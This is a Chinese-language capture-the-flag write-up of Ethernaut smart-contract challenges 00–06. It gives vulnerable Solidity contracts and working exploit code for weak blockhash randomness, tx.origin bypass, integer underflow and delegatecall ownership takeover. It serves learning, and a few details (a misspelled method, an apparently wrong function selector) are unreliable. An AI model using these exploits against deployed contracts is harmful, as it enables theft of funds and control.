Ethernaut区块链安全闯关00-06writeup

00 Hello Ethernaut

这关主要是熟悉环境,知道如何用前端跟区块链上的智能合约进行交互;

用前端交互主要是用web3.js和ether.js这两个库,也就是用JavaScript,因此我们要用控制台,F12打开控制台。

这个ethernaut用的是web3.js,web3.js有一些内置函数或者功能,可以输入help()获取。

我们生成实例,就可以开始用contract和智能合约交互了,输入contract,我们可以看到合约的ABI,这是一个json,里面有这个合约的函数;题目中提示我们输入contract.info()查看合约信息;

1
'You will find what you need in info1().'

contract.info1()

1
'Try info2(), but with "hello" as a parameter.'

contract.info2(“hello”)

1
'The property infoNum holds the number of the next info method to call.'

(contract.infoNum()).toString(原因是这里的数据类型是uint8,八位无符号整数,通关后在源码看到)

1
'42'

contract.info42()

1
'theMethodName is the name of the next method.'

contract.theMethodName()

1
'The method name is method7123949.'

contract.method7123949()

1
'If you know the password, submit it to authenticate().'

contract.password()

1
'ethernaut0'

contract.authenticate(‘’ethernaut0’’)

最后提交,结束。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = "The method name is method7123949.";
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return "You will find what you need in info1().";
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
return "The property infoNum holds the number of the next info method to call.";
}
return "Wrong parameter.";
}

function info42() public pure returns (string memory) {
return "theMethodName is the name of the next method.";
}

function method7123949() public pure returns (string memory) {
return "If you know the password, submit it to authenticate().";
}

function authenticate(string memory passkey) public {
if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

知识点:智能合约ABI、web3.js&ether.js和toString方法

01 Fallback

这关的任务有两个:

1.获取合约的所有权

2.提走智能合约里的钱

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

首先构造函数初始化一些变量,将msg.sender的值赋给owner;msg.sender指的是调用函数的人的地址,在这里理解为合约所有者调用了构造函数,我们要获取所有权就必须自己调动包含owner=msg.sender的函数。构造函数我们当然是无法调动的,那就有contribute和receive,receive函数是fallback函数的一种,在接收到以太币转账的时候触发,允许调用receive的人获取合约所有权,但是转账数额必须大于0且贡献值大于0;而contribute函数有payable标识符,可以接受以太币,但每次不超过0.001ETH且必须贡献者大于所有者,也就是要转账最少1000/0.01次,不太现实,因此考虑receive函数,但是我们要先用contribute转账以确保贡献值大于0,再用receive转账方可获取所有权。然后因为满足了withdraw提现函数的修饰符,所以可以提钱将余额变成0

注:对于payable标识符的函数,转账方式和sendTransaction()是一样的

sendTransaction({value:(单位是Wei,所以数字不能过小了),to:(address),from:(address)})

1
2
3
await contract.contribute({value:toWei("0.0001")})
await contract.sendTransaction({value:toWei("0.0001")})
await contract.withdraw()

知识点:Fallback函数、构造函数、modifier自定义标识符,payable标识符、sendTransaction,智能合约所有权,msg.sender

02 Fallout

这关也是获取智能合约的所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

分析合约,发现合约的致命错误,构造函数写错了:

新版本的智能合约用constructor标识符标识构造函数;

旧版本的智能合约构造函数是和合约同名的函数。但这里明显名字错了,所以不再是构造函数,所以可以外部调用,调用即可获取合约所有权。

知识点:旧版构造函数安全问题

03 CoinFlip

这个关卡的要求是连续才对硬币10次,否则胜利清零,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

分析源码,声明了三个变量consecutiveWins,lastHash和FACTOR,初始化consecutiveWins为0,也就是猜硬币胜利次数的计数器;只有一个flip函数用于猜硬币,输入布尔值为参数。函数通过获取上一个区块的编号哈希,转换类型为256位无符号整数blockValue,其可能区间为[0,2^256^-1],然后检查如果blockValue没有变化,回滚交易,然后再把新的blockValue赋值给lastHash用作检查,确保每次猜硬币结果都不一样。然后用blockValue除FACTOR取商,如果是1,硬币的side记为true,反之为false;FACTOR实际上是2^255^,如果blockValue在[0,2^255^-1],硬币是false,概率为1/2,因此true也为1/2。然后检查,如果参数值_guess等于硬币的面,那么计数器加1,反之清0。

这里再用前端调用合同的flip函数真的就是在盲猜了,连续猜对十次还是很难的。这里我们就需要自己写一份智能合约调用这份智能合约,这样由于在同一个区块内,所以可以提前预知blockValue,做到连续猜对十次。这里用Remix IDE写代码并且编译、部署。攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT  //指定开源许可证,MIT 许可证是一种非常宽松的开源许可证,允许用户自由地使用、复制、修改和分发代码,甚至可以用于商业项目。
pragma solidity ^0.6.12; //指定solidity编译器的版本,版本大于0.6.12

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; //导入SafeMath库,进行安全数学运算,防止结果溢出


interface flip_coins {
function flip(bool _guess) external returns (bool);
}//用接口调用目标合约的函数,注意把标识符改为external
contract FLIPCOIN{
using SafeMath for uint256;
address levelInstance;//声明levelInstance作为目标合约地址
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _levelInstance) public {
levelInstance=_levelInstance;
}
function Guess_side() public returns(bool){
uint256 hash_prediction=uint256(blockhash(block.number-1));
uint256 num_prediction=hash_prediction.div(FACTOR);
bool result_prediction=num_prediction==1?true:false;//预知结果
if (result_prediction==true){
flip_coins(levelInstance).flip(true);
}else{
flip_coins(levelInstance).flip(false);
}//接口连接到智能合约,调用函数,填入预知结果
}
}

写好代码后,ctrl+s编译,如果出现绿色对勾,说明编译无误;编译时记得选好编译器版本

编译器

然后部署合约,选Injected Provider,选好你要部署的合约,delpoy边上填入构造函数的参数

部署合约1

在这里连续点击十次,调用十次函数即可

调用函数

知识点:solidity随机数生成机制;solidity函数;solidity接口;remix ide的用法;SafeMath库;solidity开源许可证;solidity编译器

04 Telephone

这题没有明说,但是也是要获得合约所有权

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

这段代码相对简单,先在构造函数里初始化合约所有者为关卡地址,然后只有一个函数changeOwner,输入参数更改合约的所有者,条件是原始发起交易的账户tx.origin不是调用函数的实体,因此我们这里不能直接前端调用,只能写智能合约调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface telephone {
function changeOwner(address _owner) external;
}
contract calling{
address lvlInstance;
constructor(address _lvlInstance) public{
lvlInstance=_lvlInstance;
}
function CALLING(address _me) public {
telephone(lvlInstance).changeOwner(_me);
}
}

最后呼叫函数的时候填入自己的地址,改变所有权即可通关。

知识点:利用tx.origin漏洞钓鱼攻击

05 token

这题的目标是想办法增加自己的balances,增加成功即可过关;源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

构造函数初始化了关卡地址的余额,并在题干告诉我们我们自己的余额是20,这两个数据都储存在balances这个映射内;然后定义一个transfer函数,规定调用函数实体账户内的余额必须大于转账的数值,才能调用函数,然后在balances映射内做出相应的变化;再定义一个balanceOf,可以查询balances内的余额

想要增加余额,就必须写一份智能合约作为一个新的实体调用实例的智能合约把自己的余额分出来。但是虽然智能合约也只有20,但是实际上可以转出大于20的余额,因为这个合约没有用SafeMath,存在整数溢出漏洞,由于余额是无符号256位整数,那么即使我的_value>20,由于uint256没有符数,所以会下溢出,最后如果 _value比较小,会得到一个很大的整数,总之require永远满足差值大于0,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
interface token_add {
function transfer(address _to, uint256 _value) external returns (bool);
}
contract give_me{
address ether_instance;
constructor(address _ether_instance) public {
ether_instance=_ether_instance;
}
function get_token(address my_add,uint256 value) public {
token_add(ether_instance).transfer(my_add,value);
}
}

最后调用get_token函数,转账即可

知识点:solidity整数溢出漏洞

06 Delegation

这题目标是获得合约的所有权。启动实例后输入contract.abi(),发现其指向是Delegation合约。整个的源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

提示中有提到,delegatecall很关键,所以查一下delegatecall。发现delegatecall和call都是合约调用其外部代码的方法,还有一个callcode弃用了,就看前两个吧。delegatecall和call的区别在于,call是调用外部合约函数,改变外部合约状态,delegatecall是调用外部合约函数,改变自身合约状态。

因此,我们可以用delegatecall调用Delegate合约的pwn()函数以改变owner的值,为此,我们需要触发fallback,所以我们要发起交易,且设定好msg.data,msg.data是原始调用数据,包含在交易中,其构成为函数选择器+参数编码,函数选择器即是 Keccak256 哈希的前 4 字节;参数编码是对参数值编码,可以分为定长类型和动态类型,定长类型包括uint256,address等等,动态类型包括数组,string和bytes等等。对于定长类型直接将数据补足到32位即可,动态类型要有偏移量,数据长度,和数据类型;将这些和函数选择器拼接起来后即为完整的msg.data

pwn()没有参数,所以直接:

1
contract.sendTransacation({data:0x5329b102})

补充一点,调用delegatecall的时候需要注意储存布局的一致性。如果有:

1
2
3
4
5
6
7
8
9
10
11
contract A{
address admin;
address user;
}
contract B{
address common_user_1;
address admin;
function setAdminAddress(address _AdminAddress)public{
admin=_AdminAddress;
}
}

比如我需要调用合约B的函数给A的想给admin赋值,但实际上值会给到user。

因为智能合约变量声明后会按顺序占据储存槽,所以函数在合约B实际上给储存槽1的变量赋值,对照到合约A就是user;

所以如果要用delegatecall就必须保证储存布局一致,其中还包括数据类型也要一致。

知识点:delegatecall和call函数的使用与区分;msg.data;delegatecall的储存布局一致性;引用其他合同的方法